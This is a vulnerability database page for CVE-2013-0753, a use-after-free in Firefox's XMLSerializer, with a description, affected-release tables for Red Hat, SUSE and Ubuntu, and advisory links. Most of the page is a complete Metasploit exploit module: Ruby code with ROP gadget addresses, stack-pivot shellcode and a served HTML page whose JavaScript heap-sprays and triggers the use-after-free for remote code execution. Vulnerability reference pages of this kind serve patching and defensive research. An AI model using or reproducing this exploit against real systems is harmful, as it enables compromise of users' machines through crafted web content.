CVE-2013-0753
Description
Use-after-free vulnerability in the serializeToStream implementation in the XMLSerializer component in Mozilla Firefox before 18.0, Firefox ESR 10.x before 10.0.12 and 17.x before 17.0.2, Thunderbird before 17.0.2, Thunderbird ESR 10.x before 10.0.12 and 17.x before 17.0.2, and SeaMonkey before 2.15 allows remote attackers to execute arbitrary code via crafted web content.
Predictions
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Exploits
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Mozilla Firefox - XMLSerializer Use-After-Free (Metasploit)
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
def initialize(info = {})
super(update_info(info,
'Name' => 'Firefox XMLSerializer Use After Free',
'Description' => %q{
This module exploits a vulnerability found on Firefox 17.0 (< 17.0.2), specifically
an use after free of an Element object, when using the serializeToStream method
with a specially crafted OutputStream defining its own write function. This module
has been tested successfully with Firefox 17.0.1 ESR, 17.0.1 and 17.0 on Windows XP
SP3.
},
'License' => MSF_LICENSE,
'Author' =>
[
'regenrecht', # Vulnerability Discovery, Analysis and PoC
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2013-0753' ],
[ 'OSVDB', '89021'],
[ 'BID', '57209'],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-006/' ],
[ 'URL', 'http://www.mozilla.org/security/announce/2013/mfsa2013-16.html' ],
[ 'URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=814001' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'PrependMigrate' => true
},
'Payload' =>
{
'BadChars' => "\x00",
'DisableNops' => true,
'Space' => 30000 # Indeed a sprayed chunk, just a high value where any payload fits
},
'Platform' => 'win',
'Targets' =>
[
[ 'Firefox 17 / Windows XP SP3',
{
'FakeObject' => 0x0c101008, # Pointer to the Sprayed Memory
'FakeVFTable' => 0x0c10100c, # Pointer to the Sprayed Memory
'RetGadget' => 0x77c3ee16, # ret from msvcrt
'PopRetGadget' => 0x77c50d13, # pop # ret from msvcrt
'StackPivot' => 0x77c15ed5, # xcht eax,esp # ret msvcrt
}
]
],
'DisclosureDate' => 'Jan 08 2013',
'DefaultTarget' => 0))
end
def stack_pivot
pivot = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb
pivot << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit
pivot << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit
pivot << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset
return pivot
end
def junk(n=4)
return rand_text_alpha(n).unpack("V").first
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
vprint_status("Agent: #{agent}")
if agent !~ /Windows NT 5\.1/
print_error("Windows XP not found, sending 404: #{agent}")
send_not_found(cli)
return
end
unless agent =~ /Firefox\/17/
print_error("Browser not supported, sending 404: #{agent}")
send_not_found(cli)
return
end
# Fake object landed on 0x0c101008 if heap spray is working as expected
code = [
target['FakeVFTable'],
target['RetGadget'],
target['RetGadget'],
target['RetGadget'],
target['RetGadget'],
target['PopRetGadget'],
0x88888888, # In order to reach the call to the virtual function, according to the regenrecht's analysis
].pack("V*")
code << [target['RetGadget']].pack("V") * 183 # Because you get control with "call dword ptr [eax+2F8h]", where eax => 0x0c10100c (fake vftable pointer)
code << [target['PopRetGadget']].pack("V") # pop # ret
code << [target['StackPivot']].pack("V") # stackpivot # xchg eax # esp # ret
code << generate_rop_payload('msvcrt', stack_pivot + payload.encoded, {'target'=>'xp'})
js_code = Rex::Text.to_unescape(code, Rex::Arch.endian(target.arch))
js_random = Rex::Text.to_unescape(rand_text_alpha(4), Rex::Arch.endian(target.arch))
js_ptr = Rex::Text.to_unescape([target['FakeObject']].pack("V"), Rex::Arch.endian(target.arch))
content = <<-HTML
<html>
<script>
var heap_chunks;
function heapSpray(shellcode, fillsled) {
var chunk_size, headersize, fillsled_len, code;
var i, codewithnum;
chunk_size = 0x40000;
headersize = 0x10;
fillsled_len = chunk_size - (headersize + shellcode.length);
while (fillsled.length <fillsled_len)
fillsled += fillsled;
fillsled = fillsled.substring(0, fillsled_len);
code = shellcode + fillsled;
heap_chunks = new Array();
for (i = 0; i<1000; i++)
{
codewithnum = "HERE" + code;
heap_chunks[i] = codewithnum.substring(0, codewithnum.length);
}
}
function gen(len, pad) {
pad = unescape(pad);
while (pad.length < len/2)
pad += pad;
return pad.substring(0, len/2-1);
}
function run() {
var container = [];
var myshellcode = unescape("#{js_code}");
var myfillsled = unescape("#{js_random}");
heapSpray(myshellcode,myfillsled);
var fake =
"%u0000%u0000" +
"%u0000%u0000" +
"%u0000%u0000" +
"%u0000%u0000" +
"%u0000%u0000" +
"%u0000%u0000" +
"%u0000%u0000" +
"#{js_ptr}";
var small = gen(72, fake);
var text = 'x';
while (text.length <= 1024)
text += text;
var parent = document.createElement("parent");
var child = document.createElement("child");
parent.appendChild(child);
child.setAttribute("foo", text);
var s = new XMLSerializer();
var stream = {
write: function() {
parent.removeChild(child);
child = null;
for (i = 0; i < 2097152; ++i)
container.push(small.toLowerCase());
}
};
s.serializeToStream(parent, stream, "UTF-8");
}
</script>
<body onload="run();">
</body>
</html>
HTML
print_status("URI #{request.uri} requested...")
print_status("Sending HTML")
send_response(cli, content, {'Content-Type'=>'text/html'})
end
end
Metasploit modules
OS impact
Red Hat Affected 4 releases
| Version | Status | Fixed in |
|---|---|---|
| 6.3 | Affected | โ |
| 6.0 | Affected | โ |
| 5.9 | Affected | โ |
| 5.0 | Affected | โ |
SUSE Affected 5 releases
| Version | Status | Fixed in |
|---|---|---|
| 12.2 | Affected | โ |
| 12.1 | Affected | โ |
| 11.4 | Affected | โ |
| 11 | Affected | โ |
| 10 | Affected | โ |
Ubuntu Affected 4 releases
| Version | Status | Fixed in |
|---|---|---|
| 12.10 | Affected | โ |
| 12.04 | Affected | โ |
| 11.10 | Affected | โ |
| 10.04 | Affected | โ |
Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| mozilla | firefox | {"endExcluding":"18.0"} | 18.0 |
| mozilla | seamonkey | {"endExcluding":"2.15"} | 2.15 |
| mozilla | thunderbird | {"endExcluding":"17.0.2"} | 17.0.2 |
| mozilla | thunderbird_esr | {"startIncluding":"10.0","endExcluding":"10.0.12"} | 10.0.12 |
References
- http://lists.opensuse.org/opensuse-security-announce/2013-01/msg00006.html
- http://lists.opensuse.org/opensuse-security-announce/2013-01/msg00007.html
- http://lists.opensuse.org/opensuse-security-announce/2013-01/msg00010.html
- http://lists.opensuse.org/opensuse-security-announce/2013-01/msg00017.html
- http://rhn.redhat.com/errata/RHSA-2013-0144.html
- http://rhn.redhat.com/errata/RHSA-2013-0145.html
- http://www.mozilla.org/security/announce/2013/mfsa2013-16.html
- http://www.ubuntu.com/usn/USN-1681-1
- http://www.ubuntu.com/usn/USN-1681-2
- http://www.ubuntu.com/usn/USN-1681-4
- https://bugzilla.mozilla.org/show_bug.cgi?id=814001
- https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A17053
- http://lists.opensuse.org/opensuse-security-announce/2013-01/msg00006.html
- http://lists.opensuse.org/opensuse-security-announce/2013-01/msg00007.html
- http://lists.opensuse.org/opensuse-security-announce/2013-01/msg00010.html
- http://lists.opensuse.org/opensuse-security-announce/2013-01/msg00017.html
- http://rhn.redhat.com/errata/RHSA-2013-0144.html
- http://rhn.redhat.com/errata/RHSA-2013-0145.html
- http://www.mozilla.org/security/announce/2013/mfsa2013-16.html
- http://www.ubuntu.com/usn/USN-1681-1
- http://www.ubuntu.com/usn/USN-1681-2
- http://www.ubuntu.com/usn/USN-1681-4
- https://bugzilla.mozilla.org/show_bug.cgi?id=814001
- https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A17053
CWEs
CWE-416
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